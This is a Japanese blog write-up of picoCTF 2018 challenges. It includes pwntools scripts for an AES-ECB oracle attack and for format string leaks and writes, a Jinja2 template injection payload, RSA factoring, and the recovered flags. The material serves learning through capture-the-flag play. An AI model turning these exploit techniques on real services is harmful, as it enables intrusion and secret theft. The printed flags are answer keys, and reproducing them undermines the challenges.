好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 300~350pt問題のwrite-up

picoCTF 2018 の write-up 300,350点問題編。275点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

ついに300pt問題にやって参りました。Hintも親切だし、エスパー問題今の所なさそうだし、超オススメ!私、割とエスパー問題好きなんですけどね(技術と知識がないと、それくらいしか解けない)
調べないと解けない問題も増えてきて、勉強になったなぁという内容の問題が多かったです。特にBinary, Reversing問題が多かった印象(自分が時間かけ過ぎなのかも)で、かなり鍛えられた感じがあります。
be-quick-or-be-dead-3 (Reversing) 問題では競プロっぽい感じの問題もあり、競プロにもちょっと興味が湧いたり。※手を出したら死にそうなのでやらないけども…!

300,350点問題を解いた時点でのスコアは 13180 pt。順位は 639 まで一気に上がりました。

f:id:kusuwada:20190330042004p:plain

今回は1問(最初の Artisinal Handcrafted HTTP 3)、問い合わせ中の問題があり、放置してます…。

そろそろ終りが見えてきたかな?と思ってGameページのイケてるグラフィック見てみたのですが、なんとまだ Locked (問題文が出てきていない) 問題が結構残ってる…!特にWebとRebversingはまだまだ問題が増えそうな感じです。

f:id:kusuwada:20190330042020p:plain

f:id:kusuwada:20190330042035p:plain

[Web] Artisinal Handcrafted HTTP 3 (300pt)

We found a hidden flag server hiding behind a proxy, but the proxy has some... interesting ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell.picoctf.com 17643, and use the proxy to send HTTP requests to flag.local. We've also recovered a username and a password for you to use on the login page: realbusinessuser/potoooooooo.

google翻訳だとワケワカメだったのでちゃんと読む。proxy越しにflagを取らないといけないが、proxyの承認方法がちょっと変わっていて、手作業でなにかしないとだめらしい。
最後の文章から、ユーザーネームとパスワードはログインページで使用するらしい。

まずは、指定されたコマンドを実行してみる。

$ nc 2018shell.picoctf.com 17643

うーん、何も起きない。verbose optionで詳細を表示するようにして実行してみる。

$ nc 2018shell.picoctf.com 17643 -v
nc: connectx to 2018shell.picoctf.com port 17643 (tcp) failed: Connection refused

あれ、Connection refused。
更に picoCTF の shell server 上で動かしてみるも、同じく何も起きない。

指定のホストにproxyオプションを付けて接続してみる。
プロキシ情報は host: 2018shell.picoctf.com, port: 17643 っぽいのでそうしてみる。

$ nc flag.local 80 -x 2018shell.picoctf.com:17643 -v
nc: connect to 2018shell.picoctf.com port 17643 (tcp) failed: Connection refused
error = 0 61  

うーん。今度はcurlで username, password 付きで送ってみる。(なんか違うっぽいけど、問題文のusername/passwordがプロキシの認証に必要なものだと仮定。)

$ curl -x http://2018shell.picoctf.com:17643 -U realbusinessuser:potoooooooo http://flag.local
curl: (7) Failed to connect to 2018shell.picoctf.com port 17643: Connection refused

ʅ(´-ω-`)ʃ 

CTF - News

picoCTFのnewsサイトに、問い合わせについて記載されていたので、Piazza に登録&ログインして該当の問題のスレッドを探してみる。と、〇〇のポートが応答無いよ、の質問が Unresolved の状態でいくつか連なっていたので、たぶん今解けない。もしくは解けるんだけどわかっていない人がたくさんいる?

f:id:kusuwada:20190330042132p:plain

f:id:kusuwada:20190330042146p:plain

めっちゃ時間使ってしまった…。

[Crypto] SpyFi (300pt)

James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you? Conect with nc 2018shell.picoctf.com 37131. Source.

James Brahmのエージェントコードを盗んでください。という問題かな?

言われたホストに接続してみます。

$ nc 2018shell.picoctf.com 37131
Welcome, Agent 006!
Please enter your situation report: not so bad
ce046744a8001b55f5031288fc983115ff5affb36c681216a9c51e8f21a58aed691761c8573db4e7ea6b58605dd68fbd6ed54c0a9d5bd1f49f1bc7e2581432b8ee9e908e404313eaec1e41c31bf050cfc139b3e6b199e8a2fb92027f7046b3de6afe9de92c8156e56b85098b5278e3d4ff115e095118645915c5e373d5284e20fedb6451ee78330d873921124a4bcc05baff560bd1b75215fc4815a04787be7e091cf653b40dea8b8ad7285b82cda635

私はAgent006らしい(コード見たら全員006だった…)。状況を教えろと言われたので「悪くない」と答えたら、hex codeっぽいのが送られてきた。

落としてきたソースコードはこちら。

#!/usr/bin/python2 -u
from Crypto.Cipher import AES

agent_code = """flag"""

def pad(message):
    if len(message) % 16 != 0:
        message = message + '0'*(16 - len(message)%16 )
    return message

def encrypt(key, plain):
    cipher = AES.new( key.decode('hex'), AES.MODE_ECB )
    return cipher.encrypt(plain).encode('hex')

welcome = "Welcome, Agent 006!"
print welcome

sitrep = raw_input("Please enter your situation report: ")
message = """Agent,
Greetings. My situation report is as follows:
{0}
My agent identifying code is: {1}.
Down with the Soviets,
006
""".format( sitrep, agent_code )

message = pad(message)
print encrypt( """key""", message )

コードを読みます。
こちらの入れた状況レポートが sitrep 変数に入り、messageが作成されます。agent_code がflagっぽい。
このmessageは pad() 関数で加工、keyで暗号化されて表示されている様子。

pad関数の処理を見てみると、ただのパディング。message の長さが16の倍数になるよう、後ろを 0 埋めしています。

encrypt関数を見てみます。
MODE_ECBのAES暗号のようです。鍵がわからないのが困った。

条件を整理すると

  • ECB mode の AES暗号で暗号化された暗号文が手に入る
  • keyは入手不可
  • 平文は、flag部分以外は既知、更に一部自分で決めることができる

ちなみにタイトルの SpyFi は、「スパイフィクション」というジャンルの事っぽい。解法には結びつかなさそう。

AES の ECBってどんなんだったけなとググる。何でもググる。と、こんな刺激的なサイトが。

暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog

EBCモードだけは使うな!(黄色の背景の赤字の画像)

脆弱ってことだな。
この後に続く説明も非常にわかりやすい。

平文ブロックを暗号化したものが、そのまま暗号文ブロックになる

ということで、同じ2つの平文のブロックを暗号化すると、同じ暗号文ブロックになるということ。今回はブロックサイズもわかっているので、この性質を用いて攻撃できそう。

実際の攻撃例を探してみると、下記の記事がヒット。

AES-ECBに対する攻撃を考える - ぺんぎんさんのおうち

ということで取り組んでいきます。

messageは、入力文字列が入る前に何文字かprefixが決まっています。

Agent, Greetings. My situation report is as follows:

ここまで単純に数えると53文字。
きりよく16の倍数にします。->64文字。なので、入力の最初の11文字はpaddingに。
次のブロックは、既知の文15文字+特定したい文字になるようにします。既知の文は、

My agent identifying code is: {flag}

となるので、この文字列の特定したい文字の直前15文字を使います。
最初の一文字を特定する場合、ブロックごとにこんな感じになります。

#1: Agent, Greetings\n
#2: . My situation r
#3: eport is as foll
#4: ows: {padding * 11}
#5: fying code is: {attack_str}
#6: \nMy agent identi
#7: fying code is: {flag[0]}
#8: {flagの続き + ...}

attack_strを変更していき、5ブロックと7ブロックの暗号文がおなじになるものが正解。
二文字目になるとこんな感じ。

#1: Agent, Greetings\n
#2: . My situation r
#3: eport is as foll
#4: ows: {padding * 11}
#5: ying code is: p{attack_str}
#6: {padding * 15}\n
#7: My agent identif
#8: ying code is: p{flag[0]}
#9: {flagの続き + ...}

今度は5ブロックと8ブロックの暗号文が同じになれば正解。

ちなみに、#9の頭の改行が考慮できておらず時間を潰してしまった…。最初は解き方が合っているかの検証のため、一文字目が p (picoCTF{)の前提で暗号文が一致するか検証していたのですが、この改行が抜けていたのでDebugにかなり時間を取られた。
今回はお風呂じゃなくて、保育園にお迎えに向かっている途中にふとバグに気づいた。気分転換大事。改行を入れるとバッチリ合ったので気持ちよかった!!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 37131
MAX_FALG_SIZE = 64

candidates = [chr(i) for i in range(33, 127)]

pre_msg_1 = b"""Agent,
Greetings. My situation report is as follows:
"""
pre_msg_2 = b"""
My agent identifying code is: """

def is_duplicate(seq): # ※1
    return len(seq) != len(set(seq))

def bruteforce(message):
    r = remote(host, port)
    r.recvuntil(b'Please enter your situation report')
    r.sendline(message)
    r.recv()
    cipher = r.recv()
    r.close()
    return bytes.fromhex(cipher.decode())

def check(cipher):
    blocks = [cipher[i: i+16] for i in range(0, len(cipher), 16)]
    return is_duplicate(blocks)

def create_message(prefix, attack_chr):
    padding_size = 16 - (len(prefix) % 16)
    pre_msg = pre_msg_2 + prefix
    message = b'a' * 11
    message += pre_msg[-15:] + attack_chr
    message += b'a' * padding_size
    return message

print(candidates)
print(len(pre_msg_1)) # 53
print(len(pre_msg_2)) # 31

flag = b'picoCTF{'
is_found = False
is_end = False

for _ in range(MAX_FALG_SIZE - len(flag)):
    is_found = False
    for c in candidates:
        print(flag, c)
        message = create_message(flag, c.encode())
        print(message)
        cipher = bruteforce(message)
        if check(cipher):
            flag += c.encode()
            print('#########[HIT!]#########')
            is_found = True
            if c == '}':
                is_end = True
            break
    if is_end:
        break
    if not is_found:
        print('No candidate found...')
        break

print(flag)

※1: 本来は何ブロック目と何ブロック目がマッチしているか、みたいな比較をすべきなのですが、今回は暗号の性質上、平文が同じでない場合の暗号文の衝突の可能性は限りなく小さいとのことなので、重複するブロックがないか、という観点でのみのチェックを行っています。

実行結果

['!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']

(~~中略~~)

[+] Opening connection to 2018shell.picoctf.com on port 37131: Done
[*] Closed connection to 2018shell.picoctf.com port 37131
b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' z
b'aaaaaaaaaaac00l3$t_9451543zaaaaaaaaaaa'
[+] Opening connection to 2018shell.picoctf.com on port 37131: Done
[*] Closed connection to 2018shell.picoctf.com port 37131
b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' {
b'aaaaaaaaaaac00l3$t_9451543{aaaaaaaaaaa'
[+] Opening connection to 2018shell.picoctf.com on port 37131: Done
[*] Closed connection to 2018shell.picoctf.com port 37131
b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' |
b'aaaaaaaaaaac00l3$t_9451543|aaaaaaaaaaa'
[+] Opening connection to 2018shell.picoctf.com on port 37131: Done
[*] Closed connection to 2018shell.picoctf.com port 37131
b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543' }
b'aaaaaaaaaaac00l3$t_9451543}aaaaaaaaaaa'
[+] Opening connection to 2018shell.picoctf.com on port 37131: Done
[*] Closed connection to 2018shell.picoctf.com port 37131
#########[HIT!]#########
b'picoCTF{@g3nt6_1$_th3_c00l3$t_9451543}'

実行にかかった時間は約15分。競技中でも待てなくはないかな…?
候補の文字種別を減らせるともっと早いんですけど。flagに使う可能性のある文字種別ってどこかに記載がなかったのかな?見つけられなかった。
ちなみに最初 @ などの記号を候補に入れていなかったので、空回って困った。。。

[Binary] echooo (300pt)

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell.picoctf.com 3981. Source.

なんだかBinary問題かつ300点問題としては、解けている人が多い印象。

配布されたファイルは、一つは実行ファイル

$ file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped

もう一つはソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

コードの処理としては、メッセージを出力したあと、flag.txtを読み込んで flag に格納し、標準入力でユーザーのインプットを buf に格納、bufを出力。
bufはサイズが64なので、BufferOverflowの脆弱性があるかな?と思ったけど、 今回は fgets 時に sizeof(buf) を指定しているので、bufferサイズを溢れた分は次回の出力に持ち越されているように見える。
localで実行してもflag.txtがないので、指定されたホストのサーバー上で実行する必要がある。

ググってたどり着いた、これに条件が似ていそう。IPAのサイトだ。

IPA ISEC セキュア・プログラミング講座:C/C++言語編 第10章 著名な脆弱性対策:フォーマット文字列攻撃対策

セキュリティセンターTOP > セキュアプログラミング講座 > C/C++言語編 > 著名な脆弱性対策 > フォーマット文字列攻撃対策 フォーマット文字列攻撃は、領域をあふれさせることなくバッファオーバーフロー攻撃と同様の被害を及ぼすことのできる攻撃手口である。

内容を呼んでみると、確かにこの攻撃手法が今回使えそうである。
ちなみに、 フォーマット文字列攻撃format string attack で検索すると、かなりの情報が出てきた。
常設ctfの ksnctf の Villager A もこの手法を使うらしい。私が飛ばしたやつだな。この後やって、理解を深めておこう。

今回は、ももいろテクノロジーさんの記事を大変参考にさせていただきました。

format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー

printf関数が呼び出されるとき、その第一引数となるフォーマット文字列のアドレスはスタックの一番上に置かれている。 ここでフォーマット文字列に%08xを送り込むと、本来第2引数があるはずのスタック上位から2ワード目を出力させることができる。

ということで、printf関数の %x, %s, %n などのフォーマッタが使われている場合は、これを使用してメモリへの書き込み・リークが行えるという事らしいです。

今回の問題では、flagの文字列格納先が flag_ptr というポインタで示されるので、これがstackのどこかに積まれます。
ということは、フォーマット文字列攻撃を利用して、stackの中身を順番にえーーいと出してやると、いつか flag_ptr に当たってフラグ文字列が出てきそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 3981

for i in range(1000):
    print('index: ' + str(i))
    attack_msg = b'%%%d$s' % i
    r = remote(host, port)
    r.recvuntil(b'See if you can get the flag!\n> ')
    r.sendline(attack_msg)
    res = ''
    try:
        res = r.recv().decode()
    except:
        print('can not decode res message.')
    finally:
        r.close()
    if 'picoCTF' in res:
        print(res)
        break

実行結果

$ python solve.py
index: 0
[+] Opening connection to 2018shell.picoctf.com on port 3981: Done
[*] Closed connection to 2018shell.picoctf.com port 3981
index: 1
[+] Opening connection to 2018shell.picoctf.com on port 3981: Done
[*] Closed connection to 2018shell.picoctf.com port 3981
(~~中略~~)
index: 7
[+] Opening connection to 2018shell.picoctf.com on port 3981: Done
can not decode res message.
[*] Closed connection to 2018shell.picoctf.com port 3981
index: 8
[+] Opening connection to 2018shell.picoctf.com on port 3981: Done
[*] Closed connection to 2018shell.picoctf.com port 3981
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_36de83c4}

[General] learn gdb (300pt)

Using a debugging tool will be extremely useful on your missions. Can you run this program in gdb and find the flag? You can find the file in /problems/learn-gdb_4_2ca642e0eb4e21999bb1e6650342e545 on the shell server.

gdb使える?という問題っぽい。
配布されたバイナリを確認します。

$ file run 
run: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=27dc8fec6c7c8d85a80d59f41d081a2ec7a1928c, not stripped

picoCTFのshell server上で実行してみます。

$ ./run                         
Decrypting the Flag into global variable 'flag_buf'                                                             
.....................................                                                                           
Finished Reading Flag into global variable 'flag_buf'. Exiting.

ふむ。ヒントはこちら。

Try setting breakpoints in gdb Try and find a point in the program after the flag has been read into memory to break on Where is the flag being written in memory?

ほう、この手順でflagが取得できるのか。

runファイルの逆アセンブリ結果を見てみます。main関数はこちら。

00000000004008c9 <main>:
  4008c9:   55                      push   %rbp
  4008ca:   48 89 e5                mov    %rsp,%rbp
  4008cd:   48 83 ec 10             sub    $0x10,%rsp
  4008d1:   89 7d fc                mov    %edi,-0x4(%rbp)
  4008d4:   48 89 75 f0             mov    %rsi,-0x10(%rbp)
  4008d8:   48 8b 05 f9 0a 20 00    mov    0x200af9(%rip),%rax        # 6013d8 <stdout@@GLIBC_2.2.5>
  4008df:   b9 00 00 00 00          mov    $0x0,%ecx
  4008e4:   ba 02 00 00 00          mov    $0x2,%edx
  4008e9:   be 00 00 00 00          mov    $0x0,%esi
  4008ee:   48 89 c7                mov    %rax,%rdi
  4008f1:   e8 5a fd ff ff          callq  400650 <setvbuf@plt>
  4008f6:   bf d0 09 40 00          mov    $0x4009d0,%edi
  4008fb:   e8 00 fd ff ff          callq  400600 <puts@plt>
  400900:   b8 00 00 00 00          mov    $0x0,%eax
  400905:   e8 7c fe ff ff          callq  400786 <decrypt_flag>
  40090a:   bf 08 0a 40 00          mov    $0x400a08,%edi
  40090f:   e8 ec fc ff ff          callq  400600 <puts@plt>
  400914:   b8 00 00 00 00          mov    $0x0,%eax
  400919:   c9                      leaveq 
  40091a:   c3                      retq   
  40091b:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)

decrypt_flag関数があやしいです。とっても。
decrypt_flag関数にbreakpointを貼って、中を実行してもらった直後のflagが格納されてそうな領域を表示させて見る作戦で行きます。

ということで、まずはgdbを立ち上げます。以下、shell server上で実行しています。

$ gdb run                       
(略)                                              

decrypt_flag 関数にbreakpointを設定します。

(gdb) b decrypt_flag                                                                                            
Breakpoint 1 at 0x40078a

実行します。

(gdb) run                                                                                                       
Starting program: /problems/learn-gdb_4_2ca642e0eb4e21999bb1e6650342e545/run                                    
Decrypting the Flag into global variable 'flag_buf'                                                             
                                                                                                                
Breakpoint 1, 0x000000000040078a in decrypt_flag ()

Breakpoint貼ったところで止まりました。decrypt_flag関数を実行してもらうため、nextします。

(gdb) n                                                                                                         
Single stepping until exit from function decrypt_flag,                                                          
which has no line number information.                                                                           
.....................................                                                                           
0x000000000040090a in main () 

decrypt_flagを実行したところでまた止まってくれました。
ここで、decrypt_flag関数の逆アセンブリを確認した所、 flag_buf といういかにもな領域が存在しています。
この関数を最後まで実行した後の、 flag_buf を表示してやると、flagが残っているかも。

(gdb) x/s flag_buf                                                                                              
0x1d8e010:      "picoCTF{gDb_iS_sUp3r_u53fuL_9fa6c71d}" 

いました!やった!
gdbって General Skillなんですね?

[Web] Flaskcards (350pt)

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

websiteのリンク先に飛んでみます。

f:id:kusuwada:20190330042335p:plain

Register画面があり、登録すると Signinできます。

f:id:kusuwada:20190330042349p:plain

f:id:kusuwada:20190330042413p:plain

ログインするとwelcome メッセージ。使うかもしれないのでcookieも表示しておきました。
一通り機能を確認しておきます。

f:id:kusuwada:20190330042426p:plain

Create Card で質問と答えのカードが作れます。

f:id:kusuwada:20190330042442p:plain

作ったQAの一覧は、List Cards で確認できます。ちなみに簡単なXSS攻撃を試してみましたが、効いてません。

f:id:kusuwada:20190330042457p:plain

最後に、adminページがあるみたいなので行ってみます。

f:id:kusuwada:20190330042515p:plain

adminとしてログインしていないとアクセスできないみたいです。

今までの問題と比べてぐっと画面数が多くなりました。
ここで、問題文「Flaskcards」をちょっと調べてみます。Flask は python の Web framework にあるけど、関係あるのかな?

ということでぐぐってみると、こんな記事を発見。

CTF的 Flaskに対する攻撃まとめ - Qiita

これが刺さるかどうかはわかりませんが、ためになりそう。
この記事によると、Flaskのセッションは session という名前の cookie に保存されている。パートによっては base64 encode されているだけなので、decode すると username などが得られる。ここを admin に変えてやればadminのsessionに改ざんできそうだが、sessionには署名パートがあり、これの改ざんのためには secret_key が必要になる。

じゃあ secret_key はどこかというと、その次の章の解説に出てくるテンプレートエンジンに注目。Flaskでは Jinja2 というテンプレートエンジンを使っており、Flaskではデフォルトでいくつかの変数がJinja2に渡されているそうです。その中の一つの config の中に、今回欲しい secret_key が格納されていると。
これをテンプレート内で利用することができるそうです。

ちなみに、こういったテンプレートに不正な値を埋め込み、任意のコードを実行させることを Server-Side Template Injection と言うそうです。うーん、とってもためになった!

今回、admin用のページが用意されていることから、この攻撃手法は有効かもしれません。login時にcookieを念の為表示しておきましたが、確かに session という名前のレコードが存在しています。

今回のwebサイトの機能では、ログインした後は Create Card で入力した値を List Card で表示させることができるので、Createの方で攻撃を仕込めそう。
テンプレート上で評価してもらえるよう、 {{}} で囲って表示させたい変数を評価させます。ということで、Create Card の QもしくはAの方に {{config.items()}} を入力。
心持ち時間がかかった後、登録されたようなので、Listを見に行くと、configの中身が出力されていました!!!

f:id:kusuwada:20190330042553p:plain

secret_keyを探してみると、今回はなんとここですでにflagの形をしています。sessionをadminに改ざんとかするまでもなく、ここでflagがgetできました!

[Crypto] Super Safe RSA (350pt)

Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc 2018shell.picoctf.com 59208.

250pt問題に、"Safe RSA" っていうのがあったな。それの上位互換の問題かしら。

まずは指定されたホストに接続してみます。

$ nc 2018shell.picoctf.com 59208
c: 9685291204188248281433263382838813038672382448412789496673514708660137802419237
n: 26684319775662585140787713249852835878576630592836402086984559030187345643622443
e: 65537

あれ、これだけだ。
毎回接続するたびに、cn の値は変わっている。ん、これがもしかして問題文のrolling?
問題文によると、Xernonさん独自暗号らしいが、何か間違ってしまったらしい。ヒントはこちら。

Just try the first thing that comes to mind.

ええー!何も浮かびませんけど・・・!しかもミスってるんでしょ?ううむ。
接続するたびに cn が変わるが、ここは毎回同じ平文を暗号化していると考えるのが妥当そう。条件としてはこんな感じ。

  • 同一の平文 (m) に対する、(n,c) のセットが複数与えられる
  • eは固定 (65537): 大きすぎず小さすぎず

何も浮かばないけど、ひねり出した。

  1. nが簡単に素因数分解できる
  2. 実はCが平文で答えが暗号文(ミス、というのに過剰反応)
  3. Hastad's broadcast Attack (同一の平文mを異なる公開鍵nで暗号化した暗号文cをe個得られるとき、中国の剰余定理を用いてmを求めることができる)

1.は今まで factordb.com で計算してもらったりしていたが、ちょうどやってみていたときサイトが落ちていたので、これを機にlocalで計算する環境を整えてみることに。
2.はやってみたけど違うっぽい。3.はcをe個集めるというのがハードル高い(e=65537 もあるので)。

今回は下記サイトをかなり参考にさせてもらった。RSA暗号に対する攻撃手法一覧がまとまっている。この中のどれかが使えるんじゃないかなー?と思いながら、条件に合うものを探しました。

公開鍵暗号 - RSA - 基礎 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです

与えられた条件に当てはまりそうなのはやっぱり 3 の "Hastad's broadcast Attack" かなぁ。
ということで、3.のプログラムを組んで回してみつつ、1.を計算する環境を整える。

Hastad's broadcast Attack を使って解く

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

# ももいろテクノロジー: plain RSAに対する攻撃手法を実装してみる のコードを流用
#   http://inaz2.hatenablog.com/entry/2016/01/15/011138
# hastads_broadcast_attack.py

import gmpy
from pwn import *

def chinese_remainder(pairs):
    N = 1
    for a, n in pairs:
        N *= n

    result = 0
    for a, n in pairs:
        m = N//n
        d, r, s = gmpy.gcdext(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a*s*m

    return result % N, N

def hastads_broadcast_attack(e, pairs):
    x, n = chinese_remainder(pairs)
    return gmpy.root(x, e)[0]

host = '2018shell.picoctf.com'
port = 59208
e = 65537
pairs = []
for i in range(e):
    r = remote(host, port)
    msg = r.recv()
    c = int(msg.split()[1])
    n = int(msg.split()[3])
    pairs.append((c,n))
    r.close()

plaintext = hastads_broadcast_attack(e, pairs)
print(plaintext)

なんせ 6万回以上接続せねばならんので、途中で破綻しそうな気もする・・・。運営から止められないか心配しつつ、1のための環境を整える。

nの素因数分解

今回は、kali linux にMsieveをinstallした。
計算してみた所、ものの5分で答えが出た。こっちが正解だったか・・・!確かに最初に浮かんだ方法だった。

# ./msieve -q -v -e 26684319775662585140787713249852835878576630592836402086984559030187345643622443
(~~中略~~)
p39 factor: 166529392897101751485225127642943583329
p42 factor: 160237897415207561169112908729475513798667

ちなみに、3の解法の線でぶん回していたプログラムは途中でNW断か何かで力尽きて止まってました。

今回得られた素因数分解の結果を p,q として 与えられた c,n,e から 平文を計算します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Util.number import inverse
import gmpy

c = 9685291204188248281433263382838813038672382448412789496673514708660137802419237
n = 26684319775662585140787713249852835878576630592836402086984559030187345643622443
e = 65537
p = 166529392897101751485225127642943583329
q = 160237897415207561169112908729475513798667

d = inverse(e, (p-1)*(q-1))
plain = pow(c, d, n)
print(plain)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print(flag)

実行結果

$ python solve.py 
198614235373674103789367498165241205414198384663776181046663386483085883005
picoCTF{us3_l@rg3r_pr1m3$_5496}

うーん、めっちゃ遠回りしてしまったけどなんとか。調べたい試してみた他の手法も、次の段階のRSA問題に役立つはず…!

[Binary] authenticate (350pt)

Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 52918. Source.

落としてこれるのは、下記のバイナリとソースコード

$ file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

int authenticated = 0;

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag();
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }
  
  read_flag();

}

まずは指定のホストに接続して挙動を確認。

$ nc 2018shell.picoctf.com 52918
Would you like to read the flag? (yes/no)
yes
Sorry, you are not *authenticated*!

flagが読みたいかと聞かれたので yes で答えたら、権限がないよ!と言われた。

コードを読んでみます。
flagが読みたいか?という出力の後、 fgets でユーザー入力を buf に格納(bufのサイズは 64)。もし "yes" と入力された場合は、read_flag() 関数を実行。"no" のときは「終了します」と表示してexit, "yes" 以外の場合は、"Received Unknown Input:" と表示し、入力された内容を出力します。
read_flag() 関数は、authenticated が 0 以外のときは flag() 関数をcall。この関数の中で flag.txt ファイルを読み出し、 flag 変数に格納、表示させます。

今回はfgets関数でサイズを指定しているので、BufferOverflowは使えなさそう。

flag.txt を読み出さなければいけないので、localでは解けません。思いついた手法は authenticated 変数の書き換え。ユーザー入力の値が "yes" か "no" でない場合は、printf で入力がそのまま出力されることを利用して、ここに攻撃コードを埋め込みます。

この方針で行くにあたり、まずは authenticated の格納場所を調査。
(Hopperでバイナリを開いて、テキストサーチ -> ダブルクリックでアドレス特定)

       authenticated:
0804a04c         db  0x00 ; '.' ; DATA XREF=read_flag+6
0804a04d         db  0x00 ; '.'
0804a04e         db  0x00 ; '.'
0804a04f         db  0x00 ; '.'

0x0804a04c のようです。

攻撃方法としては、echoooの問題と同じように、printf 関数が使われており、ここでフォーマット文字列攻撃が使えそうです。
今回も、ももいろテクノロジーさんの記事を大変参考にさせていただきました。

format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー

今回は、この記事のサンプルとほぼ同じ状況です。
スタックの中身を表示させてみます。

$ nc 2018shell.picoctf.com 52918
Would you like to read the flag? (yes/no)
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
Received Unknown Input:

AAAA080489a6.f76fb5a0.0804875a.f7733000.f7733918.ff896040.ff896134.00000000.ff8960d4.0000042a.41414141.78383025

今回は、11番目に AAAA に対応する 41414141 が現れました。
echoooの問題のときは %s のフォーマット文字列を使用しました。これは、引数のアドレスが指す文字列を出力するもので、前回は文字列が格納されているアドレスを直接読み出すだけでOKでした。
今回は、authenticated の値を書き換える必要があるので、 %n のフォーマット文字列を使用します。%n は、今までに出力したバイト数を指定したアドレスに書き込むものです。

ということで、攻撃コードは {authenticatedのアドレス} + %11$n

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 52918

target_address = 0x0804a04c

attack_msg = p32(target_address)
attack_msg += b'%11$n'

r = remote(host, port)
print(r.recvuntil(b'Would you like to read the flag? (yes/no)\n'))
r.sendline(attack_msg)
print(r.recvall())

実行結果

$ python solve.py 
[+] Opening connection to 2018shell.picoctf.com on port 52918: Done
b'Would you like to read the flag? (yes/no)\n'
[+] Recieving all data: Done (90B)
[*] Closed connection to 2018shell.picoctf.com port 52918
b'Received Unknown Input:\n\nL\xa0\x04\x08\nAccess Granted.\npicoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_d29a706d}\n'

٩(๑❛ᴗ❛๑)۶ 

